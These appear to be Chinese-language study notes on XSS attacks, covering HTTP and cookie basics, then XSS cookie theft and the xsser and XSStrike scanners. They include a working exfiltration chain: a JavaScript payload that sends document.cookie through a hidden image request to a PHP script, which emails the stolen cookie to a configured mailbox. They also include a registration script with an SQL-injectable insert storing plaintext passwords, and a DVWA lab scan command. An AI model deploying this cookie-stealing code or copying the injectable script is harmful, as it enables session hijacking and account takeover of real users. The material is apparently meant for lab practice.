XSS跨站脚本攻击渗透与防御
XSS跨站脚本攻击渗透与防御
HTTP协议
HTTP请求方式
- get 请求从服务器获取资源
- head 类似get请求,只不过不会返回实体数据,只获取报头
- post 向服务器提交数据
- put 替换服务器内容
- delete 请求服务器删除指定的
- trace 对链路进行测试或诊断
- options 列出可对资源实行的操作方法,Allow字段里返回
- connect 要求服务器和另一个服务器建立连接,充当代理
HTTP特点 - 请求应答模式
- 灵活可拓展
- 可靠传输
- 无状态stateless
客户端Cookie
Cookie是为了解决HTTP无状态特性的。为了方便用户不会反复登录,而设置的标记,Cookie不可以跨浏览器使用
Cookie的特点
- 明文
- 可修改
- 大小受限制
Cookie的用途
- 记住登录状态
- 跟踪用户行为
服务端Session
JS操作Cookie
可以通过一个插件进行跨平台的cookie登录
- Cookie-Editor
JS的语法
获取:document.cookie;
设置:document.cookie=“username=ccccc”;
脚本注入网页:XSS
XSS主要的两种类型:存储型,反射型
JS JAVA VBScript
javascript:alert(/wuya);
获得Cookie发送邮件
导入xss.sql文件配置好数据库
- mali.js
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/xss/sendmail.php?mycookie='+encodeURIComponent(document.cookie);
encodeURIComponent,是为了防止把空格转化成+号
- sendmali.php
php的版本必须是7
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
require 'phpmailer/src/Exception.php';
require 'phpmailer/src/PHPMailer.php';
require 'phpmailer/src/SMTP.php';
$mail = new PHPMailer(true); // Passing `true` enables exceptions
try {
$cookie = $_GET['mycookie'];
if(isset($_GET['mycookie'])){
// 服务器配置
// !!! 注意PHP版本必须为7
$mail->CharSet ="UTF-8"; //设定邮件编码
$mail->SMTPDebug = 0; // 调试模式输出
$mail->isSMTP(); // 使用SMTP
$mail->Host = 'smtp.qq.com'; // SMTP服务器
$mail->SMTPAuth = true; // 允许 SMTP 认证
$mail->Username = 'sxxxxccxc1@qq.com'; // SMTP 用户名 即邮箱的用户名
$mail->Password = '你的授权码'; // SMTP 密码 部分邮箱是授权码(例如163邮箱)
$mail->SMTPSecure = 'ssl'; // 允许 TLS 或者ssl协议
$mail->Port = 465; // 服务器端口 25 或者465 具体要看邮箱服务器支持
$mail->setFrom('s49zdczd161@qq.com', 'wuya'); //发件人
$mail->addAddress('s4zdvzdv1e1@qq.com', 'wuya'); // 收件人
//$mail->addAddress('ellen@example.com'); // 可添加多个收件人
$mail->addReplyTo('s4ssdsv5dsv@qq.com', 'info'); //回复的时候回复给哪个邮箱 建议和发件人一致
//$mail->addCC('cc@example.com'); //抄送
//$mail->addBCC('bcc@example.com'); //密送
//发送附件
// $mail->addAttachment('../xy.zip'); // 添加附件
// $mail->addAttachment('../thumb-1.jpg', 'new.jpg'); // 发送附件并且重命名
//Content
$mail->isHTML(true); // 是否以HTML文档格式发送 发送后客户端可直接显示对应HTML内容
$mail->Subject = 'cookie' . time();
$mail->Body = $_GET['mycookie'];
$mail->AltBody = '如果邮件客户端不支持HTML则显示此内容';
$mail->send();
echo '邮件发送成功';
}
} catch (Exception $e) {
echo '邮件发送失败: ', $mail->ErrorInfo;
}
- store.php
<?php
//获取提交的表单值
$user=$_POST["user"];
$password=$_POST["password"];
echo "user:".$user;
echo "<br/>password:".$password."<br/>";
//连接数据库
$con = mysqli_connect("localhost","gkk","123456", "gkk");
if (!$con)
{
die('Could not connect database: ' . mysqli_error());
}
//插入数据表
$sql = "insert into xss(user,password) values('{$user}','{$password}');";
// echo $sql;
if (mysqli_query($con, $sql)) {
echo "<meta http-equiv='Content-Type'' content='text/html; charset=utf-8'>";
echo "注册成功";
} else {
echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
mysqli_close($con);
?>
XSS检测和利用
xsser安装
xsser
wget https://xsser.03c8.net/xsser/xsser_1.8-3.tar.gz
tar xf xsser_1.8-3.tar.gz
cd xsser
sudo python3 setup.py install
xsser -h
dvwa练习
xsser -u “http://localhost/dvwa/vulnerabilities” -g “xss_r/?name=1” --cookie=“security=low; PHPSESSID=vnrat5t6cjt7tg5s8u5bj99orq” -s -v --reverse-check
XSStrike
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt
参考